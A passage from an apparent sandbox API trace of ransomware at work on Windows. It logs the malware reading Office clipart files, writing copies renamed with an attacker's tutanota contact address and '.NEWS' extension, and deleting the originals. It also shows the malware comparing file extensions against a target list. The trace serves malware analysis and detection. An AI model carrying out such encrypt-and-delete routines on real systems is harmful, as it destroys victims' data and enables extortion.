dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.452] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.452] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.453] GetLastError () returned 0x0 [0089.453] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1780, lpOverlapped=0x0) returned 1 [0089.454] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1790, lpOverlapped=0x0) returned 1 [0089.455] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.455] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.455] SetEndOfFile (hFile=0x374) returned 1 [0089.455] CloseHandle (hObject=0x374) returned 1 [0089.455] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.455] SetEndOfFile (hFile=0x38c) returned 1 [0089.456] CloseHandle (hObject=0x38c) returned 1 [0089.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0089.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.456] lstrlenW (lpString=".doc") returned 4 [0089.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.457] lstrlenW (lpString=".docx") returned 5 [0089.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.457] lstrlenW (lpString=".pdf") returned 4 [0089.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.457] lstrlenW (lpString=".xls") returned 4 [0089.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.457] lstrlenW (lpString=".xlsx") returned 5 [0089.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.457] lstrlenW (lpString=".ppt") returned 4 [0089.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.457] lstrlenW (lpString=".zip") returned 4 [0089.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.457] lstrlenW (lpString=".rar") returned 4 [0089.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.457] lstrlenW (lpString=".bz2") returned 4 [0089.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.457] lstrlenW (lpString=".7z") returned 3 [0089.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.457] lstrlenW (lpString=".dbf") returned 4 [0089.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.457] lstrlenW (lpString=".1cd") returned 4 [0089.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.457] lstrlenW (lpString=".jpg") returned 4 [0089.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.457] lstrlenW (lpString=".doc") returned 4 [0089.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.457] lstrlenW (lpString=".docx") returned 5 [0089.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.457] lstrlenW (lpString=".pdf") returned 4 [0089.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.457] lstrlenW (lpString=".xls") returned 4 [0089.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.458] lstrlenW (lpString=".xlsx") returned 5 [0089.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.458] lstrlenW (lpString=".ppt") returned 4 [0089.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.458] lstrlenW (lpString=".zip") returned 4 [0089.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.458] lstrlenW (lpString=".rar") returned 4 [0089.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.458] lstrlenW (lpString=".bz2") returned 4 [0089.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.458] lstrlenW (lpString=".7z") returned 3 [0089.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.458] lstrlenW (lpString=".dbf") returned 4 [0089.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.458] lstrlenW (lpString=".1cd") returned 4 [0089.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0089.458] lstrlenW (lpString=".jpg") returned 4 [0089.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.458] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.458] lstrlenW (lpString="HH01461_.WMF") returned 12 [0089.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.459] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=5958) returned 1 [0089.459] CloseHandle (hObject=0x38c) returned 1 [0089.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0089.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.459] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.459] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.460] GetLastError () returned 0x0 [0089.460] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1746, lpOverlapped=0x0) returned 1 [0089.461] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1750, lpOverlapped=0x0) returned 1 [0089.462] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.462] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.462] SetEndOfFile (hFile=0x374) returned 1 [0089.462] CloseHandle (hObject=0x374) returned 1 [0089.462] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.462] SetEndOfFile (hFile=0x38c) returned 1 [0089.463] CloseHandle (hObject=0x38c) returned 1 [0089.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0089.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.464] lstrlenW (lpString=".doc") returned 4 [0089.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.464] lstrlenW (lpString=".docx") returned 5 [0089.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.464] lstrlenW (lpString=".pdf") returned 4 [0089.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.464] lstrlenW (lpString=".xls") returned 4 [0089.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.464] lstrlenW (lpString=".xlsx") returned 5 [0089.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.464] lstrlenW (lpString=".ppt") returned 4 [0089.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.464] lstrlenW (lpString=".zip") returned 4 [0089.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.464] lstrlenW (lpString=".rar") returned 4 [0089.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.464] lstrlenW (lpString=".bz2") returned 4 [0089.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.464] lstrlenW (lpString=".7z") returned 3 [0089.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.464] lstrlenW (lpString=".dbf") returned 4 [0089.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.464] lstrlenW (lpString=".1cd") returned 4 [0089.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.464] lstrlenW (lpString=".jpg") returned 4 [0089.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.465] lstrlenW (lpString=".doc") returned 4 [0089.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.465] lstrlenW (lpString=".docx") returned 5 [0089.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.465] lstrlenW (lpString=".pdf") returned 4 [0089.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.465] lstrlenW (lpString=".xls") returned 4 [0089.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.465] lstrlenW (lpString=".xlsx") returned 5 [0089.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.465] lstrlenW (lpString=".ppt") returned 4 [0089.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.465] lstrlenW (lpString=".zip") returned 4 [0089.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.465] lstrlenW (lpString=".rar") returned 4 [0089.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.465] lstrlenW (lpString=".bz2") returned 4 [0089.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.465] lstrlenW (lpString=".7z") returned 3 [0089.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.465] lstrlenW (lpString=".dbf") returned 4 [0089.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.465] lstrlenW (lpString=".1cd") returned 4 [0089.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0089.465] lstrlenW (lpString=".jpg") returned 4 [0089.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.465] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.465] lstrlenW (lpString="HH01618_.WMF") returned 12 [0089.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.466] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=7296) returned 1 [0089.466] CloseHandle (hObject=0x38c) returned 1 [0089.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0089.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.466] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.466] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0089.467] GetLastError () returned 0x0 [0089.467] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1c80, lpOverlapped=0x0) returned 1 [0089.468] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1c90, lpOverlapped=0x0) returned 1 [0089.469] ReadFile (in: hFile=0x38c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.469] WriteFile (in: hFile=0x374, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0089.469] SetEndOfFile (hFile=0x374) returned 1 [0089.469] CloseHandle (hObject=0x374) returned 1 [0089.470] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.470] SetEndOfFile (hFile=0x38c) returned 1 [0089.470] CloseHandle (hObject=0x38c) returned 1 [0089.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0089.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.471] lstrlenW (lpString=".doc") returned 4 [0089.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.471] lstrlenW (lpString=".docx") returned 5 [0089.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.471] lstrlenW (lpString=".pdf") returned 4 [0089.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.471] lstrlenW (lpString=".xls") returned 4 [0089.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.471] lstrlenW (lpString=".xlsx") returned 5 [0089.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.471] lstrlenW (lpString=".ppt") returned 4 [0089.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.471] lstrlenW (lpString=".zip") returned 4 [0089.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.471] lstrlenW (lpString=".rar") returned 4 [0089.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.471] lstrlenW (lpString=".bz2") returned 4 [0089.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.471] lstrlenW (lpString=".7z") returned 3 [0089.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.471] lstrlenW (lpString=".dbf") returned 4 [0089.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.472] lstrlenW (lpString=".1cd") returned 4 [0089.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.472] lstrlenW (lpString=".jpg") returned 4 [0089.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.472] lstrlenW (lpString=".doc") returned 4 [0089.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.472] lstrlenW (lpString=".docx") returned 5 [0089.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.472] lstrlenW (lpString=".pdf") returned 4 [0089.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.472] lstrlenW (lpString=".xls") returned 4 [0089.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.472] lstrlenW (lpString=".xlsx") returned 5 [0089.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.472] lstrlenW (lpString=".ppt") returned 4 [0089.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.472] lstrlenW (lpString=".zip") returned 4 [0089.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.472] lstrlenW (lpString=".rar") returned 4 [0089.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.472] lstrlenW (lpString=".bz2") returned 4 [0089.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.472] lstrlenW (lpString=".7z") returned 3 [0089.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.472] lstrlenW (lpString=".dbf") returned 4 [0089.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.472] lstrlenW (lpString=".1cd") returned 4 [0089.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0089.472] lstrlenW (lpString=".jpg") returned 4 [0089.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.473] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.473] lstrlenW (lpString="HH01759_.WMF") returned 12 [0089.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.473] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=5414) returned 1 [0089.473] CloseHandle (hObject=0x38c) returned 1 [0089.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0089.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0089.474] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.474] SetFilePointerEx (in: 